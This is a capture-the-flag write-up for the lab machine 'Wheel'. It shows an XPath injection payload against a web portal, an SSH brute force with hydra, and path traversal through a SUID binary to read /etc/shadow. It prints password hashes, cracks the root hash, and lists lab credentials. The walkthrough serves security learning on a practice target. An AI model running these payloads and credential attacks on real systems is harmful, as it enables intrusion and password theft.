root💀haxor:~#

Try Harder!.

View on GitHub

Wheel Proving Grounds Practice

Diffifculty = Easy

IP Address = 192.168.66.202

Nmap Scan:

                                                                                                                                                                                                                  
┌──(mark__haxor)-[~/_/B2B/Pg/Practice/Wheel]
└─$ nmap -sCV -A 192.168.66.202 -p22,80 -oN nmapscan    
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-23 14:52 WAT
Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 14:52 (0:00:00 remaining)
Nmap scan report for 192.168.66.202
Host is up (0.24s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_  256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Wheels - Car Repair Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.16 seconds

Checking the web server out image

Trying to login using weak credentials failed image

So i’ll create an account then try logging in image

Username: hacker
Email: hacker@localhost.com
Password: hacker

It was successfull in creating the account image

Now i’ll login using the cred

And it works but it still looks the same image

Lets try accessing /portal.php

But i get access denied image

Damn i guess it’s cause our we aren’t valid registered employee

So looking at the home page i came across the email of the company image

So now i’ll create an account with that email then try accessing the employee portal

Username: pwner
Email: info@wheels.service
Password: pwner

When i then try accessing the portal again we have access to it image

And now we see it has a function which searches for users by services

So i’ll click on search and notice the request it makes in burp

GET /portal.php?work=car&action=search HTTP/1.1
Host: 192.168.66.202
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.66.202/portal.php?work=car&action=search
Cookie: PHPSESSID=vqqi53pl4rq3410r7jomqgb3d0
Upgrade-Insecure-Requests: 1

Well then i forward the request image

So i’ll search for another service again and also capture the request

GET /portal.php?work=bike&action=search HTTP/1.1
Host: 192.168.66.202
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.66.202/portal.php?work=car&action=search
Cookie: PHPSESSID=vqqi53pl4rq3410r7jomqgb3d0
Upgrade-Insecure-Requests: 1

Well all i see that it includes what we search for in the url image

I’ll try tampering the url to see what happens

It reproduces an error that no bike' entity was found image

XML Error; No bike' entity found
Warning: SimpleXMLElement::xpath(): Invalid expression in /var/www/html/portal.php on line 68

Well from this it looks like we’re dealing with an X-PATH Injection cause from the error message i can see xpath()

Trying out payloads from https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XPATH%20Injection/README.md

After trying the payloads from the link above

This doesn’t throw an error

)]/user | a[contains(a,'

image

So instead of us trying to dump the users table which doesn’t exist i’ll try assume there’s a password table which i’ll then dump

And it works image

Now i’ll save those password list in a file then brute force ssh with the users

And to get the username is as easy as searching for a valid service image image

┌──(mark__haxor)-[~/_/B2B/Pg/Practice/Wheel]
└─$ nano users    
                                                                                                                                                                                                                   
┌──(mark__haxor)-[~/_/B2B/Pg/Practice/Wheel]
└─$ nano passwords
                                                                                                                                                                                                                   
┌──(mark__haxor)-[~/_/B2B/Pg/Practice/Wheel]
└─$ cat users;echo; cat passwords
bob
alice
john
dan
alex
selene

Iamrockinginmyroom1212
iamarabbitholeand7875
johnloveseverontr8932
lokieismyfav!@#12
alreadydead$%^234
lasagama90809!@

Now i’ll brute force ssh using the userlist and password list

┌──(mark__haxor)-[~/_/B2B/Pg/Practice/Wheel]
└─$ hydra -L users -P passwords ssh://192.168.66.202 -t64      
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-01-23 15:38:47
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 36 tasks per 1 server, overall 36 tasks, 36 login tries (l:6/p:6), ~1 try per task
[DATA] attacking ssh://192.168.66.202:22/
[22][ssh] host: 192.168.66.202   login: bob   password: Iamrockinginmyroom1212
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-01-23 15:39:06

Cool we have a valid cred now

Time to login to ssh

                                                                                                                                                                                                                   
┌──(mark__haxor)-[~/_/B2B/Pg/Practice/Wheel]
└─$ ssh bob@192.168.66.202   
The authenticity of host '192.168.66.202 (192.168.66.202)' can't be established.
ED25519 key fingerprint is SHA256:D9EwlP6OBofTctv3nJ2YrEmwQrTfB9lLe4l8CqvcVDI.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:3: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.66.202' (ED25519) to the list of known hosts.
bob@192.168.66.202's password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-113-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 23 Jan 2023 02:40:37 PM UTC

  System load:  0.01              Processes:               221
  Usage of /:   60.0% of 9.78GB   Users logged in:         0
  Memory usage: 35%               IPv4 address for ens160: 192.168.66.202
  Swap usage:   0%


10 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue May 17 19:22:53 2022 from 192.168.118.14
$ 

Cool lets escalate privilege to root

Searching for binaries that has suid perm set on it shows

bob@wheels:~$ find / -type f -perm -4000 2>/dev/null                                                                                                                                                               
/opt/get-list                
/usr/bin/chfn
/usr/bin/umount
/usr/bin/mount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/chsh

On running the binary shows that it either opens up a customer list or an employee list

bob@wheels:/opt$ ./get-list 


Which List do you want to open? [customers/employees]: customers
Opening File....

Michael
Christopher
Jessica
Matthew
Ashley
Jennifer
Joshua
Amanda
Daniel
David
James
Robert
John
Joseph

I’ll transfer the binary to my machine and decompile it using ghidra to see whats happening

bob@wheels:/opt$ ls
get-list
bob@wheels:/opt$ cp get-list /tmp
cd /tbob@wheels:/opt$ cd /tmp
bob@wheels:/tmp$ python3 -m http.server 8001
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...

Now i’ll download it on my machine

┌──(mark__haxor)-[~/_/B2B/Pg/Practice/Wheel]
└─$ rm get-list               
                                                                                                                                                                                                                   
┌──(mark__haxor)-[~/_/B2B/Pg/Practice/Wheel]
└─$ wget 192.168.66.202:8001/get-list
--2023-01-23 15:50:35--  http://192.168.66.202:8001/get-list
Connecting to 192.168.66.202:8001... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16808 (16K) [application/octet-stream]
Saving to: _get-list_

get-list                                             100%[=====================================================================================================================>]  16.41K  70.0KB/s    in 0.2s    

2023-01-23 15:50:36 (70.0 KB/s) - _get-list_ saved [16808/16808]

Now i’ll open it up in ghidra

Looking at the main function we see whats happening

undefined8 main(void)

{
  __uid_t __uid;
  char *pcVar1;
  undefined8 local_148;
  undefined8 local_140;
  undefined8 local_138;
  undefined8 local_130;
  undefined8 local_128;
  undefined8 local_120;
  undefined8 local_118;
  undefined8 local_110;
  undefined8 local_108;
  undefined8 local_100;
  undefined8 local_f8;
  undefined8 local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  char local_78 [104];
  int local_10;
  int local_c;
  
  puts("\n");
  printf("Which List do you want to open? [customers/employees]: ");
  fgets(local_78,100,stdin);
  pcVar1 = strchr(local_78,0x3b);
  if (((pcVar1 == (char *)0x0) && (pcVar1 = strchr(local_78,0x7c), pcVar1 == (char *)0x0)) &&
     (pcVar1 = strchr(local_78,0x26), pcVar1 == (char *)0x0)) {
    pcVar1 = strstr(local_78,"customers");
    if ((pcVar1 == (char *)0x0) && (pcVar1 = strstr(local_78,"employees"), pcVar1 == (char *)0x0)) {
      printf("Oops something went wrong!!");
      return 0;
    }
    puts("Opening File....\n");
    local_148 = 0;
    local_140 = 0;
    local_138 = 0;
    local_130 = 0;
    local_128 = 0;
    local_120 = 0;
    local_118 = 0;
    local_110 = 0;
    local_108 = 0;
    local_100 = 0;
    local_f8 = 0;
    local_f0 = 0;
    local_e8 = 0;
    local_e0 = 0;
    local_d8 = 0;
    local_d0 = 0;
    local_c8 = 0;
    local_c0 = 0;
    local_b8 = 0;
    local_b0 = 0;
    local_a8 = 0;
    local_a0 = 0;
    local_98 = 0;
    local_90 = 0;
    local_88 = 0;
    snprintf((char *)&local_148,200,"/bin/cat /root/details/%s",local_78);
    local_c = open("/dev/null",0x401);
    local_10 = dup(2);
    dup2(local_c,2);
    __uid = geteuid();
    setuid(__uid);
    system((char *)&local_148);
    dup2(local_10,2);
    close(local_10);
    close(local_c);
    write(2,&DAT_00102008,1);
  }
  return 0;
}

From the code we can tell whats going on

1. It prints out "Which List do you want to open? [customers/employees]: "`
2. It receives our input using fget and storing it in a buffer we can't really cause a buffer overflow cause fget is a secure function for getting inputs
3. It compares the input with ";" "|" "&" and if those strings are there the program will exist immediately
4. It then does an if statement to know when if the input is customers the programs open up /root/details/customers 

but if the input isn't customer but employees it will open up /root/details/employee
5. If those conditions are not meet it will print out "Oops something went wrong!!"

Now we know what it does we can exploit it to perform file read

Since the code doesn’t filters . and doesn’t perform any string validation to know if another character is passed we can use it to read local files in the system

Now lets read the /etc/shadow file of the system

But we know the code checks for if customers/employees is passed as an input we will need to add that either as the first input argument or last

But when we pass in customers/employess as the first input argument it will open up the file

bob@wheels:/opt$ ./get-list                                                                                                                                                                                        
                                                                                                                                                                                                                   
                                                                                                                                                                                                                   
Which List do you want to open? [customers/employees]: customers ../../etc/shadow                                                                                                                                  
Opening File....                                                                                                                                                                                                   

Michael
Christopher
Jessica
Matthew
Ashley
Jennifer
Joshua
Amanda
Daniel
David
James
Robert
John
Joseph
root:$6$Hk74of.if9klVVcS$EwLAljc7.DOnqZqVOTC0dTa0bRd2ZzyapjBnEN8tgDGrR9ceWViHVtu6gSR.L/WTG398zZCqQiX7DP/1db3MF0:19123:0:99999:7:::
daemon:*:18474:0:99999:7:::
bin:*:18474:0:99999:7:::
sys:*:18474:0:99999:7:::
sync:*:18474:0:99999:7:::
games:*:18474:0:99999:7:::
man:*:18474:0:99999:7:::
lp:*:18474:0:99999:7:::
mail:*:18474:0:99999:7:::
news:*:18474:0:99999:7:::
uucp:*:18474:0:99999:7:::
proxy:*:18474:0:99999:7:::
www-data:*:18474:0:99999:7:::
backup:*:18474:0:99999:7:::
list:*:18474:0:99999:7:::
irc:*:18474:0:99999:7:::
gnats:*:18474:0:99999:7:::
nobody:*:18474:0:99999:7:::
systemd-network:*:18474:0:99999:7:::
systemd-resolve:*:18474:0:99999:7:::
systemd-timesync:*:18474:0:99999:7:::
messagebus:*:18474:0:99999:7:::
syslog:*:18474:0:99999:7:::
_apt:*:18474:0:99999:7:::
tss:*:18474:0:99999:7:::
uuidd:*:18474:0:99999:7:::
tcpdump:*:18474:0:99999:7:::
landscape:*:18474:0:99999:7:::
pollinate:*:18474:0:99999:7:::
sshd:*:18634:0:99999:7:::
systemd-coredump:!!:18634::::::
lxd:!:18634::::::
usbmux:*:18864:0:99999:7:::
bob:$6$9hcN2TDv4v9edSth$KYm56Aj6E3OsJDiVUOU8pd6hOek0VqAtr25W1TT6xtmGTPkrEni24SvBJePilR6y23v6PSLya356Aro.pHZxs.:19123:0:99999:7:::
mysql:!:19123:0:99999:7:::

So to make life easier for us so we don’t need to start stressing ourself i’ll use customers as the last argument

bob@wheels:/opt$ ./get-list 


Which List do you want to open? [customers/employees]: ../../etc/shadow customers
Opening File....

root:$6$Hk74of.if9klVVcS$EwLAljc7.DOnqZqVOTC0dTa0bRd2ZzyapjBnEN8tgDGrR9ceWViHVtu6gSR.L/WTG398zZCqQiX7DP/1db3MF0:19123:0:99999:7:::
daemon:*:18474:0:99999:7:::
bin:*:18474:0:99999:7:::
sys:*:18474:0:99999:7:::
sync:*:18474:0:99999:7:::
games:*:18474:0:99999:7:::
man:*:18474:0:99999:7:::
lp:*:18474:0:99999:7:::
mail:*:18474:0:99999:7:::
news:*:18474:0:99999:7:::
uucp:*:18474:0:99999:7:::
proxy:*:18474:0:99999:7:::
www-data:*:18474:0:99999:7:::
backup:*:18474:0:99999:7:::
list:*:18474:0:99999:7:::
irc:*:18474:0:99999:7:::
gnats:*:18474:0:99999:7:::
nobody:*:18474:0:99999:7:::
systemd-network:*:18474:0:99999:7:::
systemd-resolve:*:18474:0:99999:7:::
systemd-timesync:*:18474:0:99999:7:::
messagebus:*:18474:0:99999:7:::
syslog:*:18474:0:99999:7:::
_apt:*:18474:0:99999:7:::
tss:*:18474:0:99999:7:::
uuidd:*:18474:0:99999:7:::
tcpdump:*:18474:0:99999:7:::
landscape:*:18474:0:99999:7:::
pollinate:*:18474:0:99999:7:::
sshd:*:18634:0:99999:7:::
systemd-coredump:!!:18634::::::
lxd:!:18634::::::
usbmux:*:18864:0:99999:7:::
bob:$6$9hcN2TDv4v9edSth$KYm56Aj6E3OsJDiVUOU8pd6hOek0VqAtr25W1TT6xtmGTPkrEni24SvBJePilR6y23v6PSLya356Aro.pHZxs.:19123:0:99999:7:::
mysql:!:19123:0:99999:7:::

Now lets crack the root password

┌──(venv)─(mark__haxor)-[~/_/B2B/Pg/Practice/Wheel]
└─$ nano hash
                                                                                                                                                                                                                   
┌──(venv)─(mark__haxor)-[~/_/B2B/Pg/Practice/Wheel]
└─$ john -w=/home/mark/Documents/rockyou.txt hash 
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
highschoolmusical (root)     
1g 0:00:00:03 DONE (2023-01-23 16:10) 0.2747g/s 1828p/s 1828c/s 1828C/s shearer..aditya
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Now we can ssh as root xD

┌──(venv)─(mark__haxor)-[~/_/B2B/Pg/Practice/Wheel]
└─$ ssh root@192.168.66.202                                 
root@192.168.66.202's password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-113-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 23 Jan 2023 03:14:54 PM UTC

  System load:  0.0               Processes:               220
  Usage of /:   60.0% of 9.78GB   Users logged in:         0
  Memory usage: 49%               IPv4 address for ens160: 192.168.66.202
  Swap usage:   0%


10 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Jan 23 15:11:16 2023 from 192.168.49.66
root@wheels:~# ls -al
total 44
drwx------  7 root root 4096 Jan 23 13:50 .
drwxr-xr-x 20 root root 4096 Jan  7  2021 ..
lrwxrwxrwx  1 root root    9 May 11  2022 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Dec  5  2019 .bashrc
drwx------  2 root root 4096 May 11  2022 .cache
drwxr-xr-x  2 root root 4096 May 11  2022 details
drwxr-xr-x  3 root root 4096 Jan  7  2021 .local
-rw-------  1 root root  195 May 11  2022 .mysql_history
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-rw-------  1 root root   33 Jan 23 13:50 proof.txt
drwxr-xr-x  3 root root 4096 Jan  7  2021 snap
drwx------  2 root root 4096 Jan  7  2021 .ssh
root@wheels:~# 

If we had also brute force root password it would have work lol

┌──(venv)─(mark__haxor)-[~/_/B2B/Pg/Practice/Wheel]
└─$ hydra -l root -p highschoolmusical ssh://192.168.66.202
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-01-23 16:13:16
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.66.202:22/
[22][ssh] host: 192.168.66.202   login: root   password: highschoolmusical
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-01-23 16:13:21

And we’re done



Back To Home